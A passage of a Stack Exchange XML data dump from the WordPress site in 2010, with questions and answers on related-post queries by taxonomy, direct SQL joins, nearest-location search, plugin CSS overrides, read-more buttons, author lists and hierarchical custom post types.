argument.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Taken all together I've packaged that logic into a function called &lt;code&gt;get_posts_related_by_taxonomy()&lt;/code&gt; whose source code you can see here (I left out a few details when I explained but hopefully they are reasonably obvious):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function get_posts_related_by_taxonomy($post_id,$taxonomy,$args=array()) {&#xA;  $query = new WP_Query();&#xA;  $terms = wp_get_object_terms($post_id,$taxonomy);&#xA;  if (count($terms)) {&#xA;    // Assumes only one term for per post in this taxonomy&#xA;    $post_ids = get_objects_in_term($terms[0]-&amp;gt;term_id,$taxonomy);&#xA;    $post = get_post($post_id);&#xA;    $args = wp_parse_args($args,array(&#xA;      'post_type' =&amp;gt; $post-&amp;gt;post_type, // The assumes the post types match&#xA;      'post__in' =&amp;gt; $post_ids,&#xA;      'post__not_in' =&amp;gt; $post-&amp;gt;ID,&#xA;      'taxonomy' =&amp;gt; $taxonomy,&#xA;      'term' =&amp;gt; $terms[0]-&amp;gt;slug,&#xA;    ));&#xA;    $query = new WP_Query($args);&#xA;  }&#xA;  return $query;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now you might use this function in &lt;a href=&quot;http://codex.wordpress.org/The_Loop&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;your own loop&lt;/strong&gt;&lt;/a&gt; like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// This assumes that your musician profile record is in the $post variable&#xA;$musicians = get_posts_related_by_taxonomy($post-&amp;gt;ID,'locations');?&amp;gt;&#xA;&amp;lt;ul&amp;gt;&#xA;&amp;lt;?php while ($musicians-&amp;gt;have_posts()): $musicians-&amp;gt;the_post(); ?&amp;gt;&#xA;  &amp;lt;li&amp;gt;&amp;lt;?php the_id(); ?&amp;gt; -- &amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;?php endwhile; ?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Using the Direct SQL approach&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;As I already said, I prefer the WordPress API when it's viable. Unfortunately I think you'll run into performance or memory problems if you have even a reasonably large number of musicians and you use the approach shown above. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a performant and memory efficient alternate you can use direct SQL to replace everything up to and including the call to &lt;code&gt;get_objects_in_terms()&lt;/code&gt; in the prior example. The good news is the SQL is straightforward and unlikely to run into a future compatibility issues with new versions of WordPress since the SQL used only references primary and foreign keys and that won't change unless they completely revamp the taxonomy system, which I think is unlikely.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using SQL I've created a different version of the &lt;code&gt;get_posts_related_by_taxonomy()&lt;/code&gt; function which you will call it exactly the same as the first version is called. The SQL recognizes that the table &lt;code&gt;wp_term_relationships&lt;/code&gt; simply needs to be joined together by their common &lt;code&gt;term_taxonomy_id&lt;/code&gt; field which will relate all the musician records for a given location/&lt;em&gt;(taxonomy)&lt;/em&gt; + city/&lt;em&gt;(term)&lt;/em&gt; pair. Then we join it to the &lt;code&gt;wp_term_taxonomy&lt;/code&gt; table so we can filter on the taxonomy, and we also filter by the profiled musician on one end of the relationship and we filter to make sure none of the related musicians are the profiled musician on the other end of the relationship. We finally make sure the related musicians post types are equal to our profiled musician's post type so you can avoid yet one more lookup, in this case we avoid calling &lt;code&gt;get_post()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Our results from SQL are a nice simple array of post IDs which we can again use with the &lt;code&gt;post__in&lt;/code&gt; argument of &lt;code&gt;WP_Query&lt;/code&gt; but this time we don't need to include the &lt;code&gt;post__not_in&lt;/code&gt;, &lt;code&gt;taxonomy&lt;/code&gt; or &lt;code&gt;term&lt;/code&gt; filter &lt;code&gt;$args&lt;/code&gt; and we can tell &lt;code&gt;post_type&lt;/code&gt; to use &lt;code&gt;'any'&lt;/code&gt; since our SQL query already handled all of those.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the second version, here's the code you need:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function get_posts_related_by_taxonomy($post_id,$taxonomy,$args=array()) {&#xA;  global $wpdb;&#xA;  $sql =&amp;lt;&amp;lt;&amp;lt;SQL&#xA;SELECT&#xA;  related.object_id&#xA;FROM&#xA;  {$wpdb-&amp;gt;term_relationships} post&#xA;  INNER JOIN {$wpdb-&amp;gt;term_taxonomy} link ON post.term_taxonomy_id = link.term_taxonomy_id&#xA;  INNER JOIN {$wpdb-&amp;gt;term_relationships} related ON post.term_taxonomy_id = related.term_taxonomy_id&#xA;WHERE 1=1&#xA;  AND link.taxonomy='%s'&#xA;  AND post.object_id=%d&#xA;  AND post.object_id&amp;lt;&amp;gt;related.object_id&#xA;  AND post.post_type==related.post_type&#xA;SQL;&#xA;  $post_ids = $wpdb-&amp;gt;get_col($wpdb-&amp;gt;prepare($sql,$taxonomy,$post_id));&#xA;  $args = wp_parse_args($args,array(&#xA;    'post_type' =&amp;gt; 'any',&#xA;    'post__in' =&amp;gt; $post_ids,&#xA;  ));&#xA;  return new WP_Query($args);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And again, you'll use this second version of &lt;code&gt;get_posts_related_by_taxonomy()&lt;/code&gt; in exactly the same way that you used the first version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps!&lt;/p&gt;&#xA;&#xA;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-10-07T10:41:46.407" LastActivityDate="2010-10-07T10:41:46.407" CommentCount="4" />
  <row Id="2678" PostTypeId="2" ParentId="2286" CreationDate="2010-10-07T09:52:40.550" Score="5" ViewCount="" Body="&lt;p&gt;I would modify &lt;a href=&quot;http://wordpress.stackexchange.com/questions/2286/how-can-i-implement-a-location-based-zip-code-search-in-wordpress/2567#2567&quot;&gt;the answer from gabrielk&lt;/a&gt; and &lt;a href=&quot;http://mondaybynoon.com/2010/02/22/store-locator-wordpress-pods/&quot; rel=&quot;nofollow&quot;&gt;the linked blog post&lt;/a&gt; by using &lt;strong&gt;database indexes&lt;/strong&gt; and &lt;strong&gt;minimizing the number of actual distance calculations&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you know the coordinates of the user and you know the maximum distance (say 10km), you can draw a bounding box that is 20km by 20km with the current location in the middle. Get these bounding coordinates and &lt;strong&gt;query only stores between these latitudes and longitudes&lt;/strong&gt;. Do not yet use trigonometry functions in your database query, as this will prevent indexes from being used. (So you might get a store that is 12km away from you if it is in the north-east corner of the bounding box, but we throw it out in the next step.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Only calculate the distance (as the bird flies or with actual driving directions, as you prefer) for the few stores that are returned. This will drastically improve processing time if you have a large number of stores.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the related lookup (&lt;em&gt;&quot;give the ten nearest stores&quot;&lt;/em&gt;) you can do a similar lookup, but with an initial distance guess (so you start with a 10km by 10km area, and if you don't have enough stores you expand it to 20km by 20km and so on). For this initial distance guess you once calculate the number of stores over the total area and use that. Or log the number of queries needed and adapt over time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I added a &lt;a href=&quot;http://wordpress.stackexchange.com/posts/2712/edit&quot;&gt;full code example at Mike's related question&lt;/a&gt;, and here is an extension that gives you closest X locations (quick and barely tested):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class Monkeyman_Geo_ClosestX extends Monkeyman_Geo&#xA;{&#xA;    public static $closestXStartDistanceKm = 10;&#xA;    public static $closestXMaxDistanceKm = 1000; // Don't search beyond this&#xA;&#xA;    public function addAdminPages()&#xA;    {&#xA;        parent::addAdminPages();&#xA;        add_management_page( 'Location closest test', 'Location closest test', 'edit_posts', __FILE__ . 'closesttest', array(&amp;amp;$this, 'doClosestTestPage'));&#xA;    }&#xA;&#xA;    public function doClosestTestPage()&#xA;    {&#xA;        if (!array_key_exists('search', $_REQUEST)) {&#xA;            $default_lat = ini_get('date.default_latitude');&#xA;            $default_lon = ini_get('date.default_longitude');&#xA;&#xA;            echo &amp;lt;&amp;lt;&amp;lt;EOF&#xA;&amp;lt;form action=&quot;&quot; method=&quot;post&quot;&amp;gt;&#xA;    &amp;lt;p&amp;gt;Number of posts: &amp;lt;input size=&quot;5&quot; name=&quot;post_count&quot; value=&quot;10&quot;/&amp;gt;&amp;lt;/p&amp;gt;&#xA;    &amp;lt;p&amp;gt;Center latitude: &amp;lt;input size=&quot;10&quot; name=&quot;center_lat&quot; value=&quot;{$default_lat}&quot;/&amp;gt;&#xA;        &amp;lt;br/&amp;gt;Center longitude: &amp;lt;input size=&quot;10&quot; name=&quot;center_lon&quot; value=&quot;{$default_lon}&quot;/&amp;gt;&amp;lt;/p&amp;gt;&#xA;    &amp;lt;p&amp;gt;&amp;lt;input type=&quot;submit&quot; name=&quot;search&quot; value=&quot;Search!&quot;/&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;EOF;&#xA;            return;&#xA;        }&#xA;        $post_count = intval($_REQUEST['post_count']);&#xA;        $center_lon = floatval($_REQUEST['center_lon']);&#xA;        $center_lat = floatval($_REQUEST['center_lat']);&#xA;&#xA;        var_dump(self::getClosestXPosts($center_lon, $center_lat, $post_count));&#xA;    }&#xA;&#xA;    /**&#xA;     * Get the closest X posts to a given location&#xA;     *&#xA;     * This might return more than X results, and never more than&#xA;     * self::$closestXMaxDistanceKm away (to prevent endless searching)&#xA;     * The results are sorted by distance&#xA;     *&#xA;     * The algorithm starts with all locations no further than&#xA;     * self::$closestXStartDistanceKm, and then grows this area&#xA;     * (by doubling the distance) until enough matches are found.&#xA;     *&#xA;     * The number of expensive calculations should be minimized.&#xA;     */&#xA;    public static function getClosestXPosts($center_lon, $center_lat, $post_count)&#xA;    {&#xA;        $search_distance = self::$closestXStartDistanceKm;&#xA;        $close_posts = array();&#xA;        while (count($close_posts) &amp;lt; $post_count &amp;amp;&amp;amp; $search_distance &amp;lt; self::$closestXMaxDistanceKm) {&#xA;            list($north_lat, $east_lon, $south_lat, $west_lon) = self::getBoundingBox($center_lat, $center_lon, $search_distance);&#xA;&#xA;            $geo_posts = self::getPostsInBoundingBox($north_lat, $east_lon, $south_lat, $west_lon);&#xA;&#xA;&#xA;            foreach ($geo_posts as $geo_post) {&#xA;                if (array_key_exists($geo_post-&amp;gt;post_id, $close_posts)) {&#xA;                    continue;&#xA;                }&#xA;                $post_lat = floatval($geo_post-&amp;gt;lat);&#xA;                $post_lon = floatval($geo_post-&amp;gt;lon);&#xA;                $post_distance = self::calculateDistanceKm($center_lat, $center_lon, $post_lat, $post_lon);&#xA;                if ($post_distance &amp;lt; $search_distance) {&#xA;                    // Only include those that are in the the circle radius, not bounding box, otherwise we might miss some closer in the next step&#xA;                    $close_posts[$geo_post-&amp;gt;post_id] = $post_distance;&#xA;                }&#xA;            }&#xA;&#xA;            $search_distance *= 2;&#xA;        }&#xA;&#xA;        asort($close_posts);&#xA;&#xA;        return $close_posts;&#xA;    }&#xA;&#xA;}&#xA;&#xA;$monkeyman_Geo_ClosestX_instace = new Monkeyman_Geo_ClosestX();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2010-10-09T09:46:38.277" LastActivityDate="2010-10-09T09:46:38.277" />
  <row Id="2679" PostTypeId="1" AcceptedAnswerId="2688" CreationDate="2010-10-07T10:48:11.277" Score="1" ViewCount="534" Body="&lt;p&gt;I'm trying to create a custom post type that I can associate with parent posts (they are posts not pages). Wordpress is version 3.0.1. I was hoping to see a list of posts in a parent post drop-down under Page-Attributes but all I get its an 'Order' field. Have I missed something vital?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;register_post_type( 'mytest_post_type',&#xA;    array(&#xA;        'labels' =&amp;gt; array(&#xA;                'name' =&amp;gt; __( 'mytest Interviews' ),&#xA;                'singular_name' =&amp;gt; __( 'mytest Interview' ),&#xA;                'add_new' =&amp;gt; __( 'Add New' ),&#xA;                'add_new_item' =&amp;gt; __( 'Add New mytest Interview' ),&#xA;                'edit' =&amp;gt; __( 'Edit' ),&#xA;                'edit_item' =&amp;gt; __( 'Edit mytest Interview' ),&#xA;                'new_item' =&amp;gt; __( 'New mytest Int.' ),&#xA;                'view' =&amp;gt; __( 'View mytest Inteview' ),&#xA;                'view_item' =&amp;gt; __( 'View mytest Int.' ),&#xA;                'search_items' =&amp;gt; __( 'Search mytest Interviews' ),&#xA;                'not_found' =&amp;gt; __( 'No mytest Interviews found' ),&#xA;                'not_found_in_trash' =&amp;gt; __( 'No mytest Interviews found in Trash' ),&#xA;                'parent' =&amp;gt; __( 'Parent mytest Interview' ),&#xA;&#xA;        ),&#xA;        'public' =&amp;gt; true,&#xA;        'show_ui' =&amp;gt; true,&#xA;        'hierarchical' =&amp;gt; true,&#xA;        'query_var' =&amp;gt; true,&#xA;        'supports' =&amp;gt; array('title', 'editor', 'author','custom-fields','page-attributes'),&#xA;&#xA;    )&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or is it not possible to create a new custom post type and have those new posts be children of existing posts?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks!&lt;/p&gt;&#xA;" OwnerUserId="500" LastActivityDate="2010-10-07T13:27:51.877" Title="Parent drop-down not appearing for custom post type" Tags="&lt;custom-post-types&gt;" AnswerCount="1" />
  <row Id="2680" PostTypeId="1" AcceptedAnswerId="6588" CreationDate="2010-10-07T10:54:30.343" Score="4" ViewCount="339" Body="&lt;p&gt;currently, I use CSS specificity to override plugin styles. I prefer this to editing the plugin as it makes for less headaches when you update.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would be nice is if my style sheet loaded after the plugins, so that I only have to be as specific, not more. This would make my stylesheets much prettier.&lt;/p&gt;&#xA;" OwnerUserId="784" LastActivityDate="2011-07-27T02:06:27.107" Title="best way to overide plugin CSS?" Tags="&lt;plugins&gt;&lt;css&gt;" AnswerCount="3" />
  <row Id="2681" PostTypeId="2" ParentId="2680" CreationDate="2010-10-07T11:09:30.267" Score="2" ViewCount="" Body="&lt;p&gt;There are several ways plugins can handle CSS.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;best case: plugin queues CSS and provides option to disable it (disable it, copy CSS code to your stylesheet and be happy);&lt;/li&gt;&#xA;&lt;li&gt;good case: plugins hooks function that queues style (unhook function, hook your own with mods if needed);&lt;/li&gt;&#xA;&lt;li&gt;usual case: plugin queues CSS directly. See &lt;a href=&quot;http://wordpress.stackexchange.com/questions/1535/how-to-dequeue-a-script&quot;&gt;How to dequeue a script?&lt;/a&gt; (applies to styles as well). Short version - there will be dequeue function in future WP release, for now could work around with &lt;code&gt;wp_deregister_*&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;bad case: plugin echoes CSS among bunch of other things. Case by case...&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Overall in my opinion it is better and easier to disable separate stylesheets and incorporate them in your own to minimize issues and improve performance (less files to fetch).&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-10-07T11:09:30.267" />
  <row Id="2682" PostTypeId="1" CreationDate="2010-10-07T11:51:08.247" Score="3" ViewCount="539" Body="&lt;p&gt;How to remove search bar from a wordpress theme?&lt;/p&gt;&#xA;" OwnerUserId="1176" LastActivityDate="2010-10-07T16:01:14.363" Title="How to remove search bar from a wordpress theme?" Tags="&lt;theme-development&gt;&lt;themes&gt;&lt;search&gt;&lt;design&gt;" AnswerCount="2" />
  <row Id="2683" PostTypeId="1" AcceptedAnswerId="2685" CreationDate="2010-10-07T12:22:05.427" Score="1" ViewCount="205" Body="&lt;p&gt;There is plenty of information on how to make the Read More function display different text in the Codex but what kind of filter would need to be used to make it display &lt;code&gt;&amp;lt;button class=&quot;readmorebtn&quot; onclick(permalink)&amp;gt;Read More&amp;lt;/button&amp;gt;&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="1057" LastActivityDate="2010-10-07T14:54:57.843" Title="How to make &lt;!--more--&gt; a button?" Tags="&lt;filters&gt;&lt;more&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" />
  <row Id="2684" PostTypeId="2" ParentId="2682" CreationDate="2010-10-07T12:38:29.723" Score="2" ViewCount="" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Try to locate the HTML representing the search bar.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Then find in which theme files it resides (it may be defined in multiple files - single.php, page.php,..)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Remove the markup including the php call from all the files.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="155" LastActivityDate="2010-10-07T12:38:29.723" CommentCount="1" />
  <row Id="2685" PostTypeId="2" ParentId="2683" CreationDate="2010-10-07T13:01:37.787" Score="3" ViewCount="" Body="&lt;p&gt;The &quot;(more...)&quot; link gets filtered through &lt;a href=&quot;http://core.trac.wordpress.org/browser/branches/3.0/wp-includes/post-template.php#L222&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;the_content_more_link&lt;/code&gt; in &lt;code&gt;get_the_content()&lt;/code&gt;&lt;/a&gt;. You can hook into this function and let it return whatever you want.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('the_content_more_link', 'more_button');&#xA;function more_button($more_link) {&#xA;    return '&amp;lt;button class=&quot;readmorebtn&quot; onclick=&quot;' .&#xA;        esc_attr('window.location=&quot;' . get_permalink() . '&quot;') .&#xA;        '&quot;&amp;gt;Read more&amp;lt;/button&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-10-07T13:01:37.787" />
  <row Id="2686" PostTypeId="1" AcceptedAnswerId="2687" CreationDate="2010-10-07T13:05:15.307" Score="1" ViewCount="334" Body="&lt;p&gt;I want to have the authors listed like usual from &lt;code&gt;wp_list_authors()&lt;/code&gt; but I know there are a couple of ones I would like to exclude from the list as well.   Is there a way to do that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="151" LastEditorUserId="25" LastEditorDisplayName="" LastEditDate="2010-10-07T20:27:32.307" LastActivityDate="2010-10-07T20:27:32.307" Title="How can I exclude specific authors from wp_list_authors" Tags="&lt;theme-development&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="2687" PostTypeId="2" ParentId="2686" CreationDate="2010-10-07T13:16:10.667" Score="3" ViewCount="" Body="&lt;p&gt;It seems &lt;a href=&quot;http://core.trac.wordpress.org/browser/branches/3.0/wp-includes/author-template.php#L269&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_list_authors&lt;/code&gt; does not have any filters&lt;/a&gt;, nor does &lt;a href=&quot;http://core.trac.wordpress.org/browser/branches/3.0/wp-includes/user.php#L341&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_users_of_blog&lt;/code&gt;&lt;/a&gt;, the function it uses to get the user list. So you either have to regex-and-replace the output yourself, or create a similar function with an extra parameter to specify authors to exclude. It's not too big, and most of the code is spent handling options, so it isn't that much duplication.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could always vote for &lt;a href=&quot;http://core.trac.wordpress.org/ticket/9902&quot; rel=&quot;nofollow&quot; title=&quot;Adding an &amp;quot;exclude&amp;quot; parameter to &amp;quot;wp_list_authors()&amp;quot;&quot;&gt;the existing Trac ticket to get an &lt;code&gt;exclude&lt;/code&gt; parameter added&lt;/a&gt; in a future version!&lt;/p&gt;&#xA;" OwnerUserId="8" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2010-10-07T15:11:05.290" LastActivityDate="2010-10-07T15:11:05.290" CommentCount="4" />
  <row Id="2688" PostTypeId="2" ParentId="2679" CreationDate="2010-10-07T13:27:51.877" Score="2" ViewCount="" Body="&lt;p&gt;This works for me. &lt;a href=&quot;http://core.trac.wordpress.org/browser/branches/3.0/wp-admin/includes/meta-boxes.php#L535&quot; rel=&quot;nofollow&quot;&gt;Looking at the code&lt;/a&gt;, the dropdown only appears if the post type is hierarchical (which is true in your case), and if there are other posts &lt;strong&gt;of the same type&lt;/strong&gt; in the database. So a post can not be a child of another post type (a regular post or page for example), and the first new post of a type will not show the dropdown menu.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-10-07T13:27:51.877" CommentCount="5" />
  <row Id="2689" PostTypeId="2" ParentId="2676" CreationDate="2010-10-07T13:38:09.507" Score="2" ViewCount="" Body="&lt;p&gt;You want a plugin (or another piece of software) that tracks the actual server logs. If you don't need WordPress integration there are many options, &lt;a href=&quot;http://awstats.sourceforge.net/&quot; rel=&quot;nofollow&quot;&gt;AWStats&lt;/a&gt; is a classic for Apache and other server log formats. I don't know whether there are plugins that integrate nicely with WordPress (normalizing URLs to posts and stuff like that). &lt;a href=&quot;http://wordpress.org/extend/plugins/wp-alp/&quot; rel=&quot;nofollow&quot;&gt;WP-Alp&lt;/a&gt; seems to only display bandwidth usage.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-10-07T13:38:09.507" CommentCount="1" />
  <row Id="2690" PostTypeId="2" ParentId="2676" CreationDate="2010-10-07T13:55:38.553" Score="1" ViewCount="" Body="&lt;p&gt;Another option is to use plugin that sets up redirect links and tracks clicks count. It won't work if someone links directly to file, but will track clicks from site reliably.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yoast.com had recently recommended &lt;a href=&quot;http://wordpress.org/extend/plugins/simple-urls/&quot; rel=&quot;nofollow&quot;&gt;Simple URLs&lt;/a&gt; by StudioPress for such redirects.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-10-07T13:55:38.553" />
  <row Id="2691" PostTypeId="1" AcceptedAnswerId="2699" CreationDate="2010-10-07T14:08:21.960" Score="1" ViewCount="100" Body="&lt;p&gt;I am using the menus API, and I want to switch to a different menu, but it is holding the first one for some reason&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my code&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in functions.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    add_action( 'init', 'register_my_menus',10 );&#xA;&#xA;function register_my_menus() {&#xA;&#xA;    register_nav_menu('main-navigation', 'Main Navigation');&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is the code in my theme file (header.php)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;    $args = array(&#xA;        'menu' =&amp;gt; 'main-navigation',&#xA;        'container_id' =&amp;gt; 'navigation',&#xA;        'fallback_cb' =&amp;gt; 'wp_page_menu'&#xA;        );&#xA;    wp_nav_menu($args); ?&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="784" LastActivityDate="2010-10-07T22:12:27.693" Title="Menu API not switching menus?" Tags="&lt;menus&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" />
  <row Id="2692" PostTypeId="2" ParentId="2686" CreationDate="2010-10-07T14:17:55.707" Score="0" ViewCount="" Body="&lt;p&gt;Since it seems there is no way to do this without a custom function, you could use jQuery to find their names and hide them after the list is generated. Something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$('ul.author_list li:contains(John)').remove();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I also found a plugin that can do this for you:&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/list-authors-plus/&quot; rel=&quot;nofollow&quot;&gt;List Authors Plus&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1136" LastEditorUserId="1136" LastEditorDisplayName="" LastEditDate="2010-10-07T14:23:25.847" LastActivityDate="2010-10-07T14:23:25.847" />
  <row Id="2694" PostTypeId="1" CreationDate="2010-10-07T14:47:33.740" Score="2" ViewCount="142" Body="&lt;p&gt;Anyone know how to make a gallery post where you make one image the cover of the photo gallery and whenever it is clicked it links to the gallery? The use this method on thechive.com. I'm really not familiar with custom post types, is this where it is done? &lt;/p&gt;&#xA;" OwnerUserId="752" LastActivityDate="2010-11-02T16:57:29.447" Title="Post photo galleries" Tags="&lt;gallery&gt;" AnswerCount="3" FavoriteCount="1" />
  <row Id="2695" PostTypeId="2" ParentId="2683" CreationDate="2010-10-07T14:54:57.843" Score="3" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;Short answer:&lt;/strong&gt; You don't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Longer, more useful answer:&lt;/strong&gt; What you need to do is hook in to the &lt;code&gt;the_content_more_link&lt;/code&gt; filter and change the simple link into a style-able element that &lt;em&gt;looks&lt;/em&gt; like a button.  The theme I use on my site already does this.  It turns my read more link into:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;readon-wrap1&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;readon1-l png&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;a href=&quot;http://mindsharestrategy.com/why-i-run/&quot; class=&quot;readon-main&quot;&amp;gt;&#xA;        &amp;lt;span class=&quot;readon1-m png&quot;&amp;gt;&#xA;            &amp;lt;span class=&quot;readon1-r png&quot;&amp;gt;More&amp;lt;/span&amp;gt;&#xA;        &amp;lt;/span&amp;gt;&#xA;    &amp;lt;/a&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can see the regular read more link buried in the middle.  The various &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt;s and &lt;code&gt;&amp;lt;span&amp;gt;&lt;/code&gt;s around it help to style the link so that it appears as a solid gray button:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/zDPUn.png&quot; alt=&quot;Read More button&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if you want to style your link to look like a button, this is the path to take.  As &lt;em&gt;@sorich87&lt;/em&gt; stated in the comments, the &lt;code&gt;&amp;lt;button&amp;gt;&lt;/code&gt; tag is meant to be used inside forms.  So if you use a &lt;code&gt;&amp;lt;button&amp;gt;&lt;/code&gt; tag for your read more link, you'll face the following issues:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Your site will not validate&lt;/li&gt;&#xA;&lt;li&gt;Your site's layout can confuse screen readers and certain parsing engines (as they'll see the &lt;code&gt;&amp;lt;button&amp;gt;&lt;/code&gt; and either strip out the link or thrown an error while looking for the rest of the form).&lt;/li&gt;&#xA;&lt;li&gt;You might run into conflicts if you ever accidentally nest the &lt;code&gt;&amp;lt;!--more--&amp;gt;&lt;/code&gt; tag inside the body of a form.  You can say &quot;I won't do that&quot; now, but accidents are accidents and it might still happen ... then weirdness and chaos will ensue.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-10-07T14:54:57.843" CommentCount="2" />
  <row Id="2696" PostTypeId="2" ParentId="2694" CreationDate="2010-10-07T14:57:01.470" Score="0" ViewCount="" Body="&lt;p&gt;use next gen gallery plugin&lt;/p&gt;&#xA;" OwnerUserId="784" LastActivityDate="2010-10-07T14:57:01.470" CommentCount="1" />
  <row Id="2697" PostTypeId="5" CreationDate="2010-10-07T15:12:21.267" Score="0" ViewCount="0" Body="&lt;p&gt;Widgets are configurable elements used to dynamically build sections of a WordPress theme &lt;a href=&quot;http://codex.wordpress.org/WordPress_Widgets&quot; rel=&quot;nofollow&quot;&gt;without writing any custom code&lt;/a&gt;.  They are most commonly used in the sidebar, but have &lt;a href=&quot;http://wordpress.org/support/topic/placing-widgets-outside-of-the-sidebar&quot; rel=&quot;nofollow&quot;&gt;also been used to build&lt;/a&gt; dynamic header, footer, and featured content sections.  There is even &lt;a href=&quot;http://wordpress.org/extend/plugins/widgets-on-pages/&quot; rel=&quot;nofollow&quot;&gt;a plug-in&lt;/a&gt; specifically designed to allow the use of widgets within WordPress pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Widgets_API&quot; rel=&quot;nofollow&quot;&gt;Widgets are built with&lt;/a&gt; &lt;a href=&quot;http://wpengineer.com/1023/wordpress-built-a-widget/&quot; rel=&quot;nofollow&quot;&gt;an extensible API&lt;/a&gt; that allows for any one widget to be &lt;a href=&quot;http://justcoded.com/article/wordpress-multi-widgets/&quot; rel=&quot;nofollow&quot;&gt;used multiple times&lt;/a&gt; on the same site.&lt;/p&gt;&#xA;" OwnerUserId="-1" LastEditorUserId="46" LastEditorDisplayName="" LastEditDate="2010-10-07T15:12:21.267" LastActivityDate="2010-10-07T15:12:21.267" />
  <row Id="2698" PostTypeId="4" CreationDate="2010-10-07T15:12:21.267" Score="0" ViewCount="0" Body="Widgets are configurable elements used to dynamically build sections of a WordPress theme." OwnerUserId="-1" LastEditorUserId="46" LastEditorDisplayName="" LastEditDate="2010-10-07T15:12:21.267" LastActivityDate="2010-10-07T15:12:21.267" />
